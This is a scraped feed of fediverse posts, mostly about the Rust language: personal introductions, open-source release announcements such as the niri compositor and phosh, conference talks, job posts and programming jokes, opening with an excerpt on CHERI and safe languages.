https://cheriot.org/cheri/myths/2024/08/28/cheri-myths-safe-languages.html
cheriot.org
There’s a recurring myth that CHERI and safe languages are solving the same problems and that, if you have one, you don’t need the other. When I joined the CHERI project in 2012, my primary motivation was producing hardware that enabled safe interoperability between languages, so I never felt that safe languages and CHERI were in tension. Quite the reverse: My work on CHERI was motivated by a desire to enable safe language adoption and the combination of CHERI and safe languages is far more powerful than either in isolation.
Olen sosiaalisesti rajoittunut nolla- tai matalaenergiaihmi-nen. Eniten tykkään miettiä, ideoida ja suunnitella kaikkea maan ja taivaan väliltä. Enimmäkseen mietteeni kulkevat (tieto)teknisiä polkuja. Silloin tällöin tulee siirryttyä jopa tekoihin.
Täsmällisempiä aiheita, joista ja joiden vierestä saatan hölistä:
:mastodon: Tämän meidän ihmisten somen parantelu. En ole lainkaan niin allerginen aikajana-algoritmeille kuin moni muu. Haluaisin mm. ehkäistä epäaktiivisten kavereiden tuuttausten hukkumista valtavaan sisältövirtaan, lisätä positiivista sosiaalista kanssakäymistä ja tehdä sisältövirrasta ihmiselle kognitiivisesti sopivamman, helpommin hahmotettavan ja vähemmän koukuttavan. Kaikkiin näihin minulla on mielessä siis ihan konkreettisia jippoja, mutta niistä joskus toiste. Pyhä aikomukseni on muuttaa suunnitelmat prototyyppikoodiksikin (client). Siihen olisi tietty erittäin jees, jos löytyisi joku motivaatiokaveri koodaamaan. Karkotteena tai houkutteena mahdollisesti kiinnostuneille on kielivaatimus #Rust, koska tarvitsen siinä harjoitusta.
🤖 Tekoäly on ollut tavallaan pääkiinnostuksenkohteeni yli 10 vuotta. Suurimman osan ajasta epäilin kykyjäni liikaa uskaltaakseni tehdä mitään itse. Lopulta älysin, että voihan näinkin saavuttamattoman aiheen parissa myös askarrella puhtaasti omaksi ilokseen, mikä yllättäen johti (mielestäni) lupaaviin oivalluksiin ja yhä tarkentuvaan konkretiaan, joiden toimivuutta täytyy kokeilla käytännössä. Pari vuotta työstin hiki hatussa varsin kunnianhimoista projektia, mutta muu elämä heitti minut tatamiin, enkä ole kyennyt kunnolla jatkamaan hanketta pitkään aikaan. Neuroverkkoihin en ole koskaan oikein uskonut, mutta sen tarkemmin tuskin tulen oman juttuni toimintaa täällä avaamaan.
:tux: En varmaankaan malta olla jakamatta välillä #Linux-juttuja.
🎮 Jotain pelaamiseen liittyvääkin joskus.
***
Someen ( :twitter: ) minut toi alun perin pandemia. Sittemmin sain voimakkaan tönäisyn ( :twitterfire: ) muuttaa tänne ihmisille paremmin sopivaan netin nurkkaukseen jatkaen samasta aiheesta. Nimeltä mainitsemattomaan kulkutautiin keskittyvä tilini @turvanen on jatkossakin aktiivisessa käytössä.
Yes little Deno, look up!
Deno, the Typescript engine's mascot, looking up.
Deno, the Typescript engine's mascot, lookup to the Rust logo.
notgull.net
To bootstrap Rust, no cost is too great.
#Introduction time! I am a software engineer by day and by night. Excited about stuff like #Rust, #NixOS, #SelfHosting, and #FOSS in general. Other interests include #Esports (#CSGO), #EDM, occasionally #Anime, #Podcasting, and #Guitar. Progressive, I guess.
I'm bad at describing myself, but feel free to check out the links in bio ✌️
May or may not toot all that much, but delighted to join the Fediverse!
Happy Friday Friends!
Today marks another release of the #k23 #wasm OS!
It’s a smaller one, focusing mostly on improving the development experience, build setup and fixing bugs! The DX is quite neat now IMO 😁
Read the full release notes here https://github.com/JonasKruckenberg/k23/releases/tag/0.0.2
k23 version 0.0.2 This is a smaller release, focusing mostly on an improved developer experience, better code organization and bug fixes. What's Changed Better Build Setup k23 now has a much cleane...
labyrinth.zone
Hacked together a script that helps compiling #Rust binaries on a remote host in a #Docker container. It goes roughly like this:
tar czf - $FILES | \
ssh remote docker run $ARGS rust:1.80 "$@" | \
tar xzvf - -C "$BIN_DIR"
And on the remote end there is a script running in a container doing tar/cargo/tar.
I am really proud of this talk about adopting #rust, aka #rustlang, at work. I spent many hours thinking about what would work and I am quite happy with the result. I hope that you enjoy watching! https://youtu.be/4DLhTPsg8QQ
youtube.com
You'll come away from this talk with many tips for expanding Rust adoption in your workplace. We'll discuss some ideas that AWS is experimenting with to impr...
A major feature just got merged in rustdoc: merged doctests. Currently, doctests are slow because they are all compiled individually. Merged doctests however are, well, merged into one file, compiled once and then each of them runs in its own process.
A good example to show how big the impact is: on libcore, doctests took 54s, they now take 13s (and 12s are spent on doctests which cannot be merged).
This feature will only run starting 2024 edition, but then, it'll run by default.
This is just the first step in our work on doctests. More improvements are on the way!
github.com
Fixes #75341. Take 2 at #123974. It should now be much simpler to review since it's based on #125798. I split the changes as much as possible to make it as easy as possible to review (even thou...
I am beyond excited for this grant proposal from @servo and @redox
https://www.redox-os.org/news/this-month-240731/
> Servo and Redox have partnered for a joint application for funding by @ngisargasso
>
> The proposed project includes porting SpiderMonkey and WebRender to Redox, improvements to Servo’s cross-compilation support, and a written-in-Rust font stack.
YES!
cc @robin and the rest of the Browser Radicals ✊
# Servo and Redox Proposal for NGI Sargasso Servo and Redox have partnered for a joint application for funding by NGI Sargasso! The proposed project includes porting SpiderMonkey and WebRender to Redox, improvements to Servo’s cross-compilation support, and a written-in-Rust font stack. The application was submitted for NGI Sargasso’s Open Call 4, and we await their response. Thanks to Igalia and the Servo team for partnering with us!
LiSA - A sign language learning app.
Releasing full version v1.0.0.
- Body model mechanics are final, using quaternions and vectors.
- Different sign languages can be selected.
- Full alphabet for #LSF is already available.
- Written in Rust with Egui.
- Lots of fixes and refactoring.
Read the changelog for more details.
Now it is time to work on adding new signs.
https://gitlab.freedesktop.org/AdeptVeritatis/lisa
#OpenSource #FreeSoftware #Rust #RustLang #Egui #Sign #SignLanguage #DGS #ASL #inclusion #accessibility
Screenshot of a sign language learning app. The arms, hands and fingers are represented by colored rectangles. The french sign for for no is visible. The app has a side panel which contains buttons for the language, sign language, to change and reset the view, to load another dictionary file. In a panel on the top, the sign is selected and a description and translation to English, French and German is shown. There is also a field to filter the signs, buttons to step through the list of signs and buttons to pause and restart an animation.
My talk from this year's #EuroRust is online: Trials, Traits, and Tribulations.
I take a piece of spaghetti code and refactor it to something more readable and more maintainable while honoring the unique features of Rust's type system.
youtube.com
Stefan Baumgartner Senior Product Architect at DynatraceWe have all been there: The sprint’s closing, a deadline is about to arrive, and our feature needs to...
My Wayland compositor, niri, turns one today! 
Here's v0.1.8 with bind key repeat, screenshot UI pointer toggle, gradient color spaces, wlr screencopy v3 and output management, and lots of other improvements: https://github.com/YaLTeR/niri/releases/tag/v0.1.8
Niri showing a few terminals with an Oklch gradient border and inner without outer gaps.
Showcasing wf-recorder working in niri. Pay attention to the log on the right: new frames only come in when something inside the region is redrawn.
Showcasing the screenshot UI in niri with a help panel and a pointer show/hide toggle.
Already anticipating not being super productive the next couple of days, with me probably obsessing about all the news coverage on what I essentially worked on and off for almost 8 years…
Obviously #cosmicdesktop wouldn’t be what it is today without all the people at @system76 having a similar vision and hiring me to work on a new desktop full time. Big shoutout to all my co-workers and the contributors to both the cosmic-projects and the existing #rust ecosystem. I am so incredibly proud of what we accomplished in this short amount of time.
This is sooo wild to me and words can’t properly convey my excitement (and anxiety) around this release.
Thank you to everyone involved in some way or another and to all the lovely people I met along the way!
Since people often learn best by doing, here’s a list of other property-based testing frameworks in several languages. Take them each out for spin!
- #Python's hypothesis: https://hypothesis.readthedocs.io/
- #JS / #TS's fast-check: https://github.com/dubzzz/fast-check
- #Ruby's pbt: https://github.com/ohbarye/pbt
- #Rust's proptest: https://proptest-rs.github.io/proptest/intro.html
- #Go's Rapid: https://github.com/flyingmutant/rapid
github.com
Rapid is a modern Go property-based testing library - flyingmutant/rapid
Does anyone know about using shared libraries in #rust? I understand one can build a library and link to it from C but I need to know more about linking to it from other crates. I have passing knowledge about 'extern crate'. My goal is to build a given library once and link to it from other rust-written binaries.
I'm super proud that when someone starts listing why they like #RustLang, compiler errors are always amongst the first 5 things they say. It's easy to get disheartened that there's so much left to do, and that you have to fight entropy as things get refactored and specific diagnostics regress. But a reminder from people with fresher perspectives is super helpful. Comparing #Rust to what it was a few years ago reminds me of the power of small incremental improvements over time.
#Introduction #neuHier #altHier
Ich bin Aljoscha, #SoftwareArchitect, #Java-Dev, etwas #Python, etwas #Rust, bin in cloudbasierten Lösungen unterwegs (#AWS, #Azure), designe #Microservice Landschaften, Data Flow, Data Mesh, #Spring, usw. usf.
Hobbys: Reisen, Garten, Lesen, Rad, Wandern, Pi-Basteleien, habe 1 Hund.
Today feels like a proper milestone for #Aardwolf-Social. One that makes me smile with pride, but also one of regrets.
Unfortunately I no longer believe that the project will be at MVP status by the time #Veilid launches. I genuinely wanted that because it gave me a target to reach for. Something that drove me to #TryHarder. While I feel that I have made huge personal gains in my #Rust dev knowledge, it simply isn't enough.
However.
Today also marked the first time in many years that I was able to share the Vision of what Aardwolf-Social is meant to be. Right now, we are two developers, but right now, we are in sync.
Aardwolf-Social was never -JUST- about building an alternative to Facebook. That's why the project rapidly went from #Fedibook to Aardwolf-Social. It has ALWAYS been a COMMUNITY project. Something to be built by everyone. An application that will help to unify the #Fediverse. This vision, still stands.
The other dev, and I have come to the agreement that we are going to expand the modular nature of the project. In its current state there is still some rigidity that neither of us like. That will need to be remedied. While this means that we have to delay MVP-status... it is what we both want.
Aardwolf-Social will be built like a web-app version of (Mx.) Potato Head.
In practical terms...
We will -ALSO- provide a map for how to build your own modules.
The only answer to all of those questions is "Do it".
We will provide a method to do all of that. In other words, you should be able to "Build your own Aardwolf-Social"
This is the Vision I have dreamed of for this project. Devs, system administrators, and users should all be able to participate from within their own comfort zones.
This... will be Aardwolf-Social.
Yes, an #introduction. Quite.
Presently an Engineering Manager, formerly a Data Engineer, Software Engineer, Web Archiving Engineer...I've been doing a disservice to the title of "Engineer" for a couple of decades, it seems.
I'm enthusiastic about #Python, #Rust and tech. generally with an overt fondness for infosec. and the occasional #CTF.
I use the phrase #HackThePlanet far too often and in a wholly non-ironic way.
I listen to music my wife describes as "shouty".
I did a talk for Rust Bristol and Rust & Cpp Cardiff about the development of @veloren a few weeks ago. For anybody interested in Rust and gamedev, it might be interesting.
youtube.com
This session Joshua Barretto (zesterer) joined us to talk through the evolution of Veloren - one of the largest games ever written in Rust. Veloren is a mult...
😺 Announcing my latest project: Feedlynx
Feedlynx, is a self-hosted tool that helps you collect links to read or watch later in an RSS feed. There's a Firefox extension and iOS Shotcuts workflow to make adding links easy. Plus it has an adorable mascot!
Read the blog post for more details: https://www.wezm.net/v2/posts/2024/announcing-feedlynx/
Feedlynx banner with mascot, introductory text and badges for CI, crates.io, and license (MIT or Apache-2.0). The introductory text reads: Feedlynx helps you collect links to read or watch later. It generates an RSS feed of the links you collect and runs on BSD, Linux, macOS, Windows, and more.
Well, after some days in this instance, I think an #Introduction is in order.
I'm Elizabeth, and I'm a full-stack developer in her mid-twenties based in Madrid. I'm trans, bi, and poly.
On the tech side, I mostly work with #ReactJs #NodeJs and #Golang. I'm also trying to learn #Rust and #Android, but they're not my main focus for now.
I also like #F1 racing, rail transport, videogames, rainy days, and cuddling with my partners and close friends.
Feel free to correct my English grammar.
#introduction I am Jeremy Soller.
I work at @system76 as Principal Engineer where I maintain our Linux distribution @pop_os_official, port @coreboot@mastodon.technology and open source embedded controller firmware to our laptops, work on the new COSMIC Desktop Environment, and more!
I also am the creator and BDFL of a microkernel operating system primarily written in #Rust named Redox OS. I am damn near crazy about #Rust and use it anywhere and everywhere!
Follow if you are interested in these things 🙌 🦀
@mre case in point: I am one of two #rust devs at my company. I am/we are told that I am/we are the expert(s) in the room all the time...
I don't feel like the 100% rust expert. I am really good, I have confidence that I am really good, but I am quite a bit behind compared to my collegue. (That's also why I am ok with a medium-high salary and not a rust-expert-salary, although I'd love to have one - not to say that I am not doing really good of course).
But the point here is: Companies don't know. Rust is too new for (again: most) companies to have sensitive benchmarks! 😉
The first episode of "Rust in Production" just got released!
https://corrode.dev/podcast/s01e01-influxdata
Listen to it on Apple, Spotify, or wherever you get your podcasts. 🎤 🎶 🎧
Thanks to @pauldix from InfluxData for taking the time.
corrode.dev
In this episode, we talk to Paul Dix, founder and CTO…
What I love about this #Rust programming book are these little epigraphs included at the start of each chapter. This one about Maxwell's demon is especially good.
We all behave like Maxwell's demon. Organisms organize. In everyday experience lies the reason sober physicists across two centuries kept this cartoon fantasy alive. We sort the mail, build sand castles, solve jigsaw puzzles, separate wheat from chaff, rearrange chess pieces, collect stamps, alphabetize books, create symmetry, compose sonnets and sonatas, and put our rooms in order, and all this we do requires no great energy, as long as we can apply intelligence. -James Gleick, The Information: A History, a Theory, a Flood
#introduction 2.0
I'm Jeroen from the Netherlands and a problem solver.
Interests:
#bsd #freebsd #unix
#buddhism #folklore #mythology
#cats
#commodore #c64 #amiga #retrocomputing #hardware
#DevOps
#DigiPres #metadata #SemanticWeb
#documentation #TechnicalWriting
#fantasy #SciFi #books
#history
#heraldry #vexillology
#japanese
#linguistics (#ProtoGermanic #ProtoIndoEuropean)
#programming #assembly #c #golang #nim #odinlang #python #rust #zig
#typography
Looking for opinions on a #rust static site generator.
(I did a basic Google already, but I don't want to bias people by suggesting a thing.)
Here's a treasure-trove of Rust books: https://lborb.github.io/book/
full disclosure: I wrote it.
lborb.github.io
@mauve @silverpill @smallcircles #iroh is working on support for the #willowprotocol and because I don't need meadowcap features just yet, it's safe enough for me to build on Iroh and just adapt when they come out with the willow update.
We're pretty partial to #rust so that's a big motivation to use Iroh.
phosh 0.40.0 is out 🚀📱:
- #phosh: more quick toggles (dark style, mobile data). Allow suspend when device is locked. 🐛 fixes. Tweaks for #Rust binding generation
- #phoc fling gesture for phosh's top and home bar. 🐛 fixes.
- #mobilesettings: allow to tweak shell layout, lock delay and plugin ordering via ☝️
Check out the full release notes at https://phosh.mobi/releases/rel-0.40.0/
🙏 to everyone who contributed to this release.
#phosh #librem5 #pinephone #gtk #wlroots #gnome #linux #mobile #LinuxMobile
phosh.mobi
The Phosh 0.40.0 Release
For some reason Rust doesn't inline std::arch::x86_64::_pext_u32 (which is a function with only the pext instruction) in my code. Isn't this slower? What should I do to make it inline it/make it fast?
godbolt decompilation of my main function. There's a call to _pext_u32 instead of simply using the instruction.
Rust code that runs _pext_u32 use std::arch::x86_64::_pext_u32; pub fn main() { let bleh = unsafe { _pext_u32(std::hint::black_box(0xdeadbeef), std::hint::black_box(0xff00ff00)) }; assert_eq!(bleh, 0xdebe); }
Sentry is hiring Senior Software Engineer, Platform
🔧 #golang #python #rust #django #kafka #postgresql #redis #seniorengineer
🌎 Toronto, Canada
⏰ Full-time
🏢 Sentry
Job details https://jobsfordevelopers.com/jobs/senior-software-engineer-platform-at-sentry-io-feb-22-2024-9c4dd4?utm_source=mastodon.world&utm_medium=social&utm_campaign=posting
#jobalert #jobsearch #hiring
jobsfordevelopers.com
Sentry is hiring Senior Software Engineer, Platform
One of the frustrating things about trying to learn new language like #Rust is every tutorial is about how to use one crate or another, and very few actually go into doing the basics without a crate first.
I get it, the crates make things easy. But stortcutting the learning process on doing these things yourself is not helping teach better programmers IMO.
Maybe it's my age showing, learning on languages where getting someone else to do all the work for you wasn't an option
#INTRO
🙋 Hi there, I'm Juan
🧑💻 | I'm a software consultant / indiedev
🧠 | Autism 🤝 ADHD
🎯 | Hyperfixations include:
😺 | Cats
🛸 | SciFi
🕹️ | Retrogaming
🐧 | Opensource
🔣 | Functional Programming
🪓 | Currently hacking on #Elixir #Rust #Julia #Elm #Lua
🤕 | Recovering Javascript developer
👉 | Migrated from mastodon.social
♥️ | 🇵🇾 🇧🇷 🇵🇸 🇺🇦
Show HN: 30ms latency screen sharing in Rust
Link: https://github.com/bitwhip/bitwhip
Discussion: https://news.ycombinator.com/item?id=40916326
news.ycombinator.com
Now that our instance has a higher size limit for toots, time for a re-#introduction. This time with more hashtags!
Hi! I'm Jeff. :blobcatwave:
I've been a software engineer since around 1999 I guess. I started with #WebDev back in the early days of applets, DHTML, and Flash. I've since moved on to #FullStack work on just about anything that has a compiler or an interpreter. I've even recently dabbled in #PCB design and #3DPrinting.
My software specialties are in high performance computing #HPC, #GPGPU, and #ComputationalChemistry. Although I usually enjoy any programming problem with a good challenge to it. I spent waaay too much time in school and got all the degrees in computer science. I still work in #academia part-time writing research software.
My favorite programming languages at the moment are #Rust and #Kotlin. Although, I've spent a lot of time writing #Javascript lately. With the right tooling it's not completely terrible.
More recently, I've been interested in online #privacy, #cryptography, and #SocialNetworks.
#c - what if everything was a pointer
#lisp - what if everything was a linked list
#haskell - what if everything was a pure function
#forth - what if everything was a stack
#lua - what if everything was a hash map
#erlang - what if everything was immutable
#prolog - what if everything was a pattern to match
#java - what if everything was a class
#rust - what if everything was a memory allocation problem
#golang - what if everything != nil
#javascript - what if everything was everything
It's been a year since my last #introduction, and time does not stand still. I'm still just another random guy on the internet, still love any kind of #keyboard, but mostly the #MechanicalKeyboard kind. I spent years hacking on keyboard #firmware (I made substantial contributions to #Kaleidoscope, and some neat things to #QMK aswell). I created #Chrysalis, too.
I dabble in all kinds of weird stuff, like putting #Hy in production, or writing a #NixOS configuration not only in #OrgMode, but with #OrgRoam.
My heart lies with #Lisp, even if I rarely get to write it nowadays. My most recent endeavors are in #Rust, and #EmacsLisp.
If you guessed that I live in #Emacs, you guessed correctly. I'm using #NixOS as a glorified bootloader. I previously spent two decades with #Debian, and have no regrets about that time. It was time well spent.
While I mostly post about tech stuff, I'm also a dad of twins, and occasionally post about #parenting, too.
I'm a #luddite, and so can you!.
thenib.com
What the Luddites can teach us about resisting an automated future.
I quietly dropped a 12-part series about #rust + #nix tonight ✨
One part will unlock each week, $10/mo sponsors get access to the whole thing on day one and can share any article with friends/colleagues, etc.
Enjoy!
https://fasterthanli.me/series/building-a-rust-service-with-nix
fasterthanli.me
I often give bits and pieces of advice on how to build Rust stuff the comfy way. But it can be hard to see how everything comes together, especially when it comes to, say, deploying a web service i...
New video just dropped:
✨ strace feels like magic — let’s fix that (with #Rust)
youtube.com
Follow me on Mastodon: https://hachyderm.io/@fasterthanlimeSupport me on Patreon or GitHub: https://fasterthanli.me/donateYou can find the code at: https://g...
More ways to connect! Our dear long-term collaborators at Iroh just entered the Fediverse via @n0iroh -- Delta Chat already uses Iroh happily for multi-device setup on all platforms ... stay tuned for more fruits of this ongoing collaboration with some of the best #rust #p2p coders we know :) Latest in their crazy bi-weekly release rhythm is https://iroh.computer/blog/iroh-0-20-more-ways-to-connect
iroh.computer
Iroh 0.20.0 release
I'm looking for a new role. I've been working professionally with #python for 12 years. For the past year and a half I've also been working with #rust.
In open source, I've contributed multiple headline features to #django and I'm a maintainer of #pyo3.
I'm based in the UK and I'm comfortable with remote work or hybrid.
My ideal role would involve both Python and Rust. I'm open to considering other roles too.
By day I build #OpenSource software in #Rust at @nlnetlabs for #DNS and #routing.
By night I build an online map of the current and past railway network, the beginnings of which can be seen at https://map.railwayhistory.org/.
In between, you’ll likely find me on a train somewhere.
map.railwayhistory.org
My name is Eddy, I'm a developer passionate about #Rust :rust:.
My current distro is Pop!_OS
Here is a short demo video that showcases what you can do with Feedle. Suppose, you are interested in keeping up-to-date with creators in the #Rust programming community. You can:
1. Search for a topic of interest. You can use boolean operators and other Google-like tricks to fine-tune your query.
2. Grab the topic's #RSS feed and add to your reader.
3. If you have a blog, you can even export an embed that you can then share with your own audience. Plus, don't forget to add your blog to Feedle!
pw-midimix
Version 0.1.7 is ready!
(A hardware MIDI mixer mapper for #PipeWire.)
Fixed some corner cases and handled some unknown states.
Handled most Clippy findings, especially unnecessary .clone() and .to_owned().
Moved from json_rs to serde_json and fixed the resulting bugs.
gitlab.freedesktop.org
A hardware MIDI mixer mapper for PipeWire
pw-videomix v0.2.1 is out!
After complex filter chains for endless combinations in last version:
Now with a color rotator node like changing hue constantly. Using a trigonometric function allows to select upper and lower borders for some nice effects.
Also the fader (stacker) is finally there to create slideshows of connected nodes with blending.
Try it out here:
https://gitlab.freedesktop.org/AdeptVeritatis/pw-videomix
#rust #rustlang #vulkan #egui #winit #opensource #freesoftware #creativecoding #art
Screenshot of a video mixer app. A picture is connected to a mandala node. The mandala node is connected to a color rotator, a mixer and a fader. Ehe result is mixed in a chain to the final result, a colorful mandala, which is shown on a monitor node.
👋 Hi all ! I am a research engineer at CNRS 🇫🇷, working at the UAR RIATE on the development of applications or libraries for the visualization or the processing of geographic information.
I did my PhD in Grenoble 🏔️🚁 about Semantic Web and geovisualisation.
I love #foss, #python, #rust, #JSspatial, #osm, #dataviz, #qgis and #gis in general.
Also maintainer of https://magrit.cnrs.fr 🗺️ (thematic cartography tool).
magrit.cnrs.fr
Magrit est une application Web de cartographie thématique
Today, I released bencodex-rs 0.5.0.
- Started to provide full Bencodex JSON feature with `json` feature flag.
- Started to provide Bencodex JSON CLI tool with `json-cli` feature flag.
https://github.com/bencodex/bencodex-rs/releases/tag/0.5.0
crates.io
Do you know about http://verybad.kushaldas.in:8000/ experiment? This web application has a lot of #security holes, and I tried to secure it using only #systemd. Feel free to do a round of #pentest, #attack the box. Remember to let me know what did you find.
The box is up from April end 2022.
Please boost so that your other security minded friends see this. I try to make sure that any learning from this goes back to systemd upstream.
The fastest non-Google controlled web rendering engine Servo is trying to compete with only $1.6k funding a month:
https://www.phoronix.com/news/Servo-Engine-May-2024
Yes, they did have an NLNet grant, but that ran out.
If we want an alternative to Blink/Chrome, we need to fund it. This is a project where even a tiny regular amount could yield oversize returns:
Servo is a web rendering engine written in Rust, with WebGL and WebGPU support, and adaptable to desktop, mobile, and embedded applications.
Making a pinned #introduction post. Hi everyone! 👋
I'm a software engineer in the Netherlands, working in entertainment. At work we build content management tools and real-time web apps, with me mostly being involved in the latter.
I do a lot of #NodeJS, #Rust, and #NixOS. I also build stuff in my spare time, like https://castling.club, and contribute to open-source projects where I can.
Let's reclaim our internet using the fediverse! 💪
castling.club
Well, it's time for an #introduction I guess!
I'm a #java Backend/API developer by day, and a wannabe #rust developer by night.
I like opensource software, and try to contribute to it with my small knowledge.
I also build some games using #godot with my 4 year old son.
Ow. And I like Doom. A lot. It does not make any sens.
Since I've just switched instances, it's time for a new #introduction #introductions #newhere
I am a #software #engineer in #Perth, mostly C/C++ (#CPlusPlus), #Python, learning #Rust and #Golang, dabbled in many others. Interested in image processing, #NLP, sports analytics, with a continuously growing list of side projects which may or may not ever get "finished".
When I'm not doing that I'm a #photographer who occasionally gets paid to shoot #sports events.
And while I have your attention, on a completely different note ...
Australia's Head of State should be an Australian, by birth or by choice.
Any Australian should be able to aspire to be our Head of State.
All Australians should have a say in who is our Head of State
Okay, #Coolify is a pain to work with on an internal network. If you're using GitHub for your things, that's okay, but for everything else is not.
Is there any other alternative?
BTW, this is Coolify: https://coolify.io/
#Linux #DevOps #Server #Servers #Docker #Containers #Kubernetes #VM #Virtualization #OCI #Debian #CentOS #Alpine #Fedora #Forgejo #Git #GitHub #GitLab #Podman #PHP #Go #Rust #JavaScript #Vue #Nuxt #NextJS #React #Angular #Coolify
coolify.io
An open-source & self-hostable Heroku / Netlify / Vercel alternative.
I guess I have a new language learning goal: Learn enough #Rust to understand the problem and the details of the solution described in this:
https://promethia-27.github.io/dependency_injection_like_bevy_from_scratch/
Maybe that will work better as a goal than: "I should finally learn Rust." :)
promethia-27.github.io
I'm #JobSeeking!
If you do interesting things in the #DistributedSystems space that aren't predicated on market-based solutionism, I would love to come write #Rust & #JavaScript apps or work on #SystemsArchitecture and infrastructure with you. I also do pretty decent #CareWork and #CommunityManagement in teams which aspire to be human-centered.
I'm especially interested in roles within organizations lead by #queer and #FirstNations peoples and #anarchist groups doing #MutualAid efforts.
Hi! I'm Alice: I make games, game engines, and generally do mad science. I'm one of the maintainers of #bevyengine in #rust!
Once upon a time I was a plant ecologist! Happily #queer and polyamorous :) Canadian, currently suffering through the dark and (alarmingly warm) winter.
Time for an updated #introduction.
I'm into #programming (#PHP, #TypeScript, #Go, one day #Rust).
#LanguageLearning rocks - some competence in #Esperanto, #Japanese and #German; less in others. Currently learning #Greek and #French, among others, and building @vortmaro.
#ClimateChange is a big deal and to mitigate it, let's switch to #renewables, #ElectrifyEverything, and adopt #PlantBased diets.
#COVID sucks, we should nuke it (with masks, filtration, ventilation, far-UV, etc.)
niri v0.1.7 is out with fractional scaling, window screencasts and many smaller improvements!
Showcasing window screencasting in niri.
Going through every representable scale factor in niri.
Hello all 👋
Am a self-employed #security consultant of 10+ years via https://securit.ie/
I regularly enjoy live sports/music (likely to post about), I code #Python & #Rust and am unafraid of low-level / reverse engineering, builder, breaker, cocktail shaker. Lefty af ☭. An aspiring cyberterrorist armchair general on main
🤘😜👍 #Introduction
securit.ie
Heyo!
My name is Sofie, and I love building things so it is nicer and easier to use!
I touch on subjects such as #nixos, #sysadmin, and how to generally make your life easier running servers.
I also love trying out a lot of different programming languages, big ones being #Rust, #Ocaml, and #Ruby right now!
My current pet project is https://github.com/imsofi/phenix
In my free time I also enjoy #boardgames and #radiocontrol.
Good to see you! :ablobfoxbongo:
github.com
An ideals based infrastructure project. Contribute to soupglasses/phenix development by creating an account on GitHub.
Doom eternal BFG 9000 labelled "unsafe {}", mars in background labeled " memory safety". It's the bit where Sam Hayden tells Doomguy "you can't just blow a hole into the surface of mars", right before Doomguy does just that.
Hello and welcome to my "bubble" inside Mastodon!
I'm Thiago Ozores a.k.a Zozo, and I'm Site Reliability Engineer
Some of my major interests are:
#Linux
#OpenSource
#DevOps
#SRE
#ChaosEngineering
#PlatformEngineering
#CloudComputing
#Python
#Golang
#Rust
#StarTrek
#MCU
#Documentaries
#SciFiBooks
#SciFiMovies
#SciFiSeries
#WorldHistory
#BrazilHistory
#RetroGaming
#RaspberryPi
These days, my interests are pretty much all over the place, but of late I find myself paying attention to: #python, #rust, #wasm, #generativeart, #embeddedsystems, #systemstheory, #systemsthinking, and probably a couple dozen other things that I'll probably think of as soon as I hit publish on this. 😂
My coworkers ask for help with a #Rust compiler error... *once*...
...and then I run and try to mechanize my explanation and put it back in the compiler.
Our dev tools need to talk to humans in the way humans talk. Nobody is an expert on everything, helping newcomers (with better tools, better docs, better errors) helps *everyone*.
That's really the trick behind the rustc diagnostic output: it's not about a technology, its an attitude.
my first #rustlang #rust app: vampire-charact-rs a character management tool for #VampiretheMasquerade 5th edition (V5) #vampire #WorldOfDarkness #programming
If there are any #svelte folks around who wouldn’t mind a minor challenge:
https://github.com/commune-os/weird/issues/69
Lots more context about the Weird project can be provided in conversation with us, but see ththe repo description for the gist of it.
github.com
Continued from #66 (reply in thread): There are two major steps: Creating the themed user page. Adding inline editing. For creating the themed user page, we need: a new src/lib/themes/[SomeThemeNam...
After debating for a long time, if I should run my instance, I've caved in.
#GoToSocial looks great (despite not being written in #rust, hehe).
I don't use many of the Instance posting of the fediverse, nor try to discover content from people i don't follow, so I think the limitations on discovery will be fine.
This single-user instance is also supposed to help me understand how much burden it is to use ActivityPub in real life, such as networking load and data distribution (synchronous mailbox seems expensive).
This instance is running on my homelab. No fault tolerance, but a few metrics are available. I can just closed it down whenever if it gives me too much trouble.
I'll keep @bltavares up for the social discovery aspects of a larger instance and if all of this is just deleted as well.
Alas, let's see if running my own internet space makes me post more, and lurke less 😅🙂
I published my first plugin for Bevy! 🎉
🕯️bevy_light_2d is a general purpose 2d lighting crate for Bevy.
It’s designed to be simple to use, yet expressive enough to fit a variety of use cases.
⭐️ GitHub https://github.com/jgayfer/bevy_light_2d
github.com
General purpose 2D lighting for the Bevy game engine. - jgayfer/bevy_light_2d
Niri 0.1.6 with interactive window resizing, rounded corners, named workspaces, mouse view scrolling, animation custom shaders, screen transition!
https://github.com/YaLTeR/niri/releases/tag/v0.1.6
Didn't realize quite how many release notes there would be this time; even had to use an extra level of headings. 😅
Several windows in niri.
PSA: I may disagree with you on one thing, but that does not mean I won't agree with you on another
Please calm down, we can still be friends.
xx
#Rust #Wayland #Docker #Ubuntu #JavaScript #Windows #MacOS #footTerminal #KDE #Gnome #Sway #XFS #NotPuttingAltTextOnImages #ExcessiveUseOfHashTags #CallingHashtagsHashtags
Wonder how I and a friend made a foddian game in around 72 hours? Check out my new blog post going over most of the issues I found while making it. #rust #bevy #bevyengine #gamedev 🐟👋
pires.gg
A devlog for my game jam submission to the 2024 Fish Fest. I'm making a foddian-style game in Rust with the Bevy game engine.
I completely forgot to post one of my coolest project from last year: An NES Emulator! This includes emulating the CPU, the PPU (graphics card) as well as debugging all the ways they are connected. With the power of #rust it even runs in the browser.
That was a crazy experience and a lot of fun!
Hello World! Firefly Zero is an in-development handheld game console that runs #wasm and supports #BLE multiplayer. It is written by @orsinium in #Rust, runs on #ESP32, and will be fully open source (both software and hardware).
We already have a working desktop emulator and are getting a Rust and #golang SDK ready for alpha testing. Sounds fun? Stay tuned!
Website:
https://fireflyzero.com/
gram.social
19 Posts, 4 Following, 18 Followers · A modern handheld game console with effortless multiplayer. It's fun to play, alone or with friends, and easy to program.
All the animations, plus VRR, today in niri 0.1.5: https://github.com/YaLTeR/niri/releases/tag/v0.1.5
I also remade the demo video to showcase the animations and some of the newer features!
Showcasing various niri features.
Amidst all the fires being put out, niri 0.1.4 which can block out windows from screencasts! https://github.com/YaLTeR/niri/releases/tag/v0.1.4
And also gamma control, focus follows mouse, warp mouse to focus, wheel and touchpad scroll bindings, xdp-gnome 46 support.
Also, every single config option is now documented on the wiki! Which took like an entire week of work (even though I was reusing a lot of my previously written docs in the config). Check it out here: https://github.com/YaLTeR/niri/wiki/Configuration:-Overview
On the left is a webcam recording of the screen with the Secrets app window visible, on the right is a screencast recording of the same with the Secrets window replaced with a black rectangle.
Tagged niri v0.1.3: https://github.com/YaLTeR/niri/releases/tag/v0.1.3
This one has much improved touchpad gestures with inertia, springs, rubberbanding and everything else I copied from libadwaita, my primary source for things that feel good 
Also thanks @alice for helping and giving feedback on the gestures and for giving a try to the touch support!
